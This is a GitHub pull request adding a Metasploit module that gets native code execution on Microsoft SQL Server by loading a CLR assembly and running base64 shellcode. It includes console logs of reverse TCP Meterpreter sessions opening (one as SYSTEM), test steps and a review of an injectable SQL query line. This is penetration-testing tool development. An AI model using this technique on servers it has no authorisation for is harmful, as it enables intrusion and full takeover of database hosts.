Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new MS SQL Code Execution module #7942

Merged
merged 3 commits into from Feb 17, 2017
Merged

Conversation

OJ
Copy link
Contributor

@OJ OJ commented Feb 10, 2017

This PR adds a new module that allows for code execution inside MS SQL Server. The module is based on the work that was done by @leechristensen and @sekirkity as documented here.

The new module requires SQL credentials for a user with sufficient privileges to:

  • Enable CLR support (if not already enabled).
  • Enabled TRUSTWORTHY (if not already enabled).
  • Add an assembly to the server.
  • Create a new stored procedure.

The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the data folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode.

This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen.

This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual studio command line).

Sample Runs:

MS SQL 2005:

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ...
[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-8CT6HVI5D6J
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

MS SQL 2016

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ...
[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000

meterpreter > getuid
Server username: NT Service\MSSQLSERVER
meterpreter > sysinfo
Computer        : WIN-7QEE7C4D0GF
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Verification

  • Somehow get access to one or more SQL server versions, best to test with the sa user.
  • Start msfconsole
  • use exploit/windows/mssql/mssql_clr_payload
  • Set the payload and options as required (including credentials).
  • Verify that EXITFUNC is automatically set to thread so that SQL Server isn't terminated.
  • Verify that when you mix architectures, the module stops with an error.
  • Verify That all options that are enabled to make the exploit work are disabled after.
  • Verify That the session works, and is running under the context of the SQL user.
  • Verify That SQL Server doesn't die/crash/burn.

Thanks

Thanks again to Lee and Nathan for their work.

@OJ OJ added the module label Feb 10, 2017
@OJ
Copy link
Contributor Author

OJ commented Feb 14, 2017

I have the DATABASE listed as a parameter, but I haven't used it. I tried to incorporate it into the query, but that didn't work.

I might need to adjust the SQL mixin so that a DB can be specified.

end

def set_trustworthy(on)
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
Copy link
Contributor

@firefart firefart Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@OJ you can use db_name() after logging in so you don't have SQLi :)

Copy link
Contributor Author

@OJ OJ Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aye, true I could indeed. I may change it.

But, let's be honest, given that we're the ones doing the breaking, injection here isn't really a concern :D

Copy link
Contributor

@egypt egypt Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Seems like db_name() would reduce the burden on the user to know stuff about the victim. Is there a particular need for this to be a user option?

Copy link
Contributor

@wvu wvu Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why_not_both.jpg

Copy link
Contributor

@firefart firefart Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@egypt you need the DATABASE for the login so the user has to know it. But it defaults to master anyway

Copy link
Contributor Author

@OJ OJ Feb 14, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The default DB for the given user might not be the one they have adequate permissions to. master is indeed the default, but apparently others are options as well. I went with "sane default with ability to override".

@firefart
Copy link
Contributor

firefart commented Feb 14, 2017

@OJ just tested it at work on some servers. Awesome module, works as intended :)

@OJ
Copy link
Contributor Author

OJ commented Feb 14, 2017

Thanks @firefart !

@busterb busterb self-assigned this Feb 17, 2017
@busterb
Copy link
Contributor

busterb commented Feb 17, 2017

This looks ready to merge. Thanks for all of the reviews folks! Just writing some module docs, since it would be a shame to lose this great info in the PR.

Docs in 014fe25

@busterb busterb merged commit ec316bf into rapid7:master Feb 17, 2017
@busterb
Copy link
Contributor

busterb commented Feb 17, 2017

Release Notes

The MSSQL Code Execution module has been added. It can execute an arbitrary native payload on a Microsoft SQL server. It works by loading a custom SQL CLR Assembly into the target SQL installation. The module requires working credentials in order to connect directly to the MSSQL Server. This exploit does not leave any binaries on disk. It was tested on MSSQL Server versions: 2005, 2012, 2016 (all x64).

@OJ
Copy link
Contributor Author

OJ commented Feb 22, 2017

ooh! I didn't realise this got merged. Thank you @bcook-r7 :)

@OJ OJ deleted the mssql-clr-payload branch Feb 22, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants